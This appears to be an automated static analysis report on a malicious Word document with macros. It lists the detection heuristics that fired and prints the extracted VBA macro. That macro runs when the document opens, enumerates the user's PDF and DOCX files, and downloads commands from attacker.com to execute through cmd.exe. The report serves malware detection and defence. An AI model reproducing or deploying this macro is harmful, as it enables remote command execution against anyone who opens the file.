Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 981b85fa39f6f28b…

MALICIOUS

Office (OOXML) / .DOCX

18.5 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-20
MD5: 75dd68e876e229cf47a04cddc12aecd8 SHA-1: 4a1f655ea63b42088f7bc6db53a94b9bc842ff67 SHA-256: 981b85fa39f6f28b404969ee70c316856711d8aced00a6f70fb327f4c4a5fb84
278 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        x1.Run "cmd.exe /c echo Command Shell Executed", 0, True
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set x1 = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set x1 = CreateObject("WScript.Shell")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        x1.Run "cmd.exe /c echo Command Shell Executed", 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        x5 = Environ("USERPROFILE") & "\Documents\"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://attacker.com/command.txt In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1667 bytes
SHA-256: 5c56f703c7676f7b7329a7811bc53c23581a4d08f627d228cb221fbfbef50aa8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    On Error Resume Next
    
    ' Execution (T1059.003 - Windows Command Shell)
    Dim x1 As Object
    Set x1 = CreateObject("WScript.Shell")
    x1.Run "cmd.exe /c echo Command Shell Executed", 0, True
    
    ' Discovery (T1083 - File and Directory Discovery)
    Dim x2 As Object
    Dim x3 As Object
    Dim x4 As Object
    Dim x5 As String
    Dim x6 As String
    x6 = ""
    
    x5 = Environ("USERPROFILE") & "\Documents\"
    Set x2 = CreateObject("Scripting.FileSystemObject")
    Set x3 = x2.GetFolder(x5)
    
    For Each x4 In x3.Files
        If LCase(x2.GetExtensionName(x4.Name)) = "pdf" Or LCase(x2.GetExtensionName(x4.Name)) = "docx" Then
            x6 = x6 & x4.Path & vbCrLf
        End If
    Next x4
    
    ' Command and Control (C2: T1071.001 - Web Protocols)
    Dim x7 As Object
    Dim x8 As String
    Dim x9 As String
    x9 = "http://attacker.com/command.txt"
    
    Set x7 = CreateObject("WinHttp.WinHttpRequest.5.1")
    x7.Open "GET", x9, False
    x7.Send
    
    If x7.Status = 200 Then
        x8 = x7.ResponseText
        x1.Run "cmd.exe /c " & x8, 0, True
    End If
    
    On Error GoTo 0
    
    ' Dead Code
    Dim x10 As Integer
    For x10 = 1 To 1000
        If x10 Mod 2 = 0 Then
            x10 = x10 + 1
        End If
    Next x10
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: f53bea496acf8b063d90e7046513617761776be35eddb650381c08ab22d09bff

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